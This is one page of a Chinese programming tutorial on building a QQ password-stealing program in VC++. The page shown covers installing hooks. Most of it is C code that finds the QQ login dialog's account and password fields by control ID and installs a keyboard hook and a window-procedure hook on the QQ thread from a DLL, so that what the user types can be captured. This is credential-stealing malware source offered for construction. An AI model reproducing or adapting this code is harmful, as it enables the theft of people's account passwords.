WEB开发网
开发学院软件开发VC 用VC++模拟实现QQ密码盗窃软件 阅读

用VC++模拟实现QQ密码盗窃软件

 2008-11-14 19:33:19 来源:WEB开发网   
核心提示: 第二部分:(2)安装钩子找到了QQ登陆窗口后,就成功了一半,用VC++模拟实现QQ密码盗窃软件(2),下面是DLL文件中的安装HOOK的函数SetQQHook(), 为什么要用DLL(动态连接库)?要去“钩”其他进程的消息,得让HOOK函数在DLL中,就这么简单,上

第二部分:(2)安装钩子

找到了QQ登陆窗口后,就成功了一半。

下面是DLL文件中的安装HOOK的函数SetQQHook(), 为什么要用DLL(动态连接库)?要去“钩”其他进程的消息,得让HOOK函数在DLL中,这样好映射到其地址空间中!

BOOL WINAPI SetQQHook(HWND hQQLogin)
{
//获得登陆框的句柄
BOOL bRet = FALSE;
if (hQQLogin != NULL)
{
  DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //这是什么意思?看MSDN
  g_hNum = GetDlgItem(hQQLogin, 138);//不同版本QQ,此处不一样! 得到QQ号的子窗口句柄
  g_hPsw = GetDlgItem(hQQLogin, 180); //不同版本QQ,此处不一样!得到QQ密码的子窗口句柄
 if (g_hNum == NULL)
 {
  MessageBox(NULL,"哭了,号码句柄都没有得到!","郁闷",0);
  return FALSE;
 }
 if(g_hPsw==NULL)
 {
  MessageBox(NULL,"哭了,密码句柄都没有得到!","郁闷",0);
  return FALSE;
 }
        分别键盘HOOK,和界面部分消息处理的HOOK
 g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
 g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
 bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
 // 卸载钩子
 bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
 g_hProc = NULL;
 g_hKey = NULL;
 g_hNum = NULL;
}
return bRet;
}

上面是安装HOOK部分的代码,就这么简单,上面提到了CallWndProc,KeyboardProc是两个回调函数,是我第三部分要解释的钩子函数

上一页  1 2 3 4 5  下一页

Tags:VC 模拟 实现

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接